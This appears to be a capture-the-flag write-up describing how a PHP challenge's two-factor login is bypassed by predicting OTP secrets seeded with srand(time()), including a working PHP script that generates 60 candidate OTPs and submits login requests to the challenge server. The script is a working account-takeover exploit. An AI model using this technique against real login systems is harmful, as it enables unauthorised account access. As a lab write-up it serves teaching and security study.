Rating:

Contrary to the original writeups, no need to perform a bruteforce in order to get the flag

We know that the admin registered at <span>2015-11-28 21:21.
</span>We try several requests on the website, like sending an array in POST requests etc.
The website prints all PHP errors : we discover a file : /general.inc.
We can access to this file and read the first part of PHP source code. There is a Google2FA class which can be found on the internet.

Notice the second-to-last line : 

srand(time());
session_start();


The website is using a function to generate the secret parameter for the OTP. In this function, rand() is used.
Therefore, before generate the secret parameter, srand(time()) is made, and then rand() is called.
As we know the admin registered at 2015-11-28 21:21, we can use gmmktime() to recreate the timestamp.
However, we don't know the second. So we have 60 possibilities. Here is an example of code that generate the 60 possibilites for the secret parameter.
Foreach secret, we generate the OTP with the oath_hotp($key, $counter) function in the Google2FA class. Then, we perform the login request with a personal PHPSESSID cookie. If success, then our PHPSESSID will link to the admin account.

<?php
include('Google2FA.php');
$url     = 'http://104.198.227.93:10777/?target=login.php';
$email = 'admin@hxp.io';

for ($i=0;$i<60;$i++) {
  // We create the timestamp of 2015-11-28 21:21:$i
  $t   = gmmktime(21, 21, $i, 11, 28, 2015);
  
  // We init the seed for rand() functions
  srand($t);

  // We get the formatted timestamp for Google2FA.
  $ts = Google2FA::get_timestamp($t);
 
  // We generate the secret parameter corresponding to the right seed.
  $secret = generate_secret();
  
  // We craft the right OTP.
  $key = Google2FA::oath_hotp(Google2FA::base32_decode($secret), $ts);
  
  // We create the request
  $postdata = http_build_query(array('email' => $email, 'otp' =>$key));
  $opts = array('http' =><span>array('method'  => 'POST','header'  => 'Content-type: application/x-www-form-urlencoded'."\r\nCookie: PHPSESSID=dbgnluvvgdmk112ffo3gs34rj3\r\n", 'content' => $postdata));
  $context  = stream_context_create($opts);

  // request
  $content = file_get_contents($url, false, $context);
  if (preg_match('/Welcome/', $content)) {
    break;
  }
}
?>
</span>
Its works.




Original writeup (https://paste.trollab.org/?86b1d6bd3b3e5d84#nf4nbNTgZCo01OE2+V+Dv7W116lWddbLswb+4K15ISM=).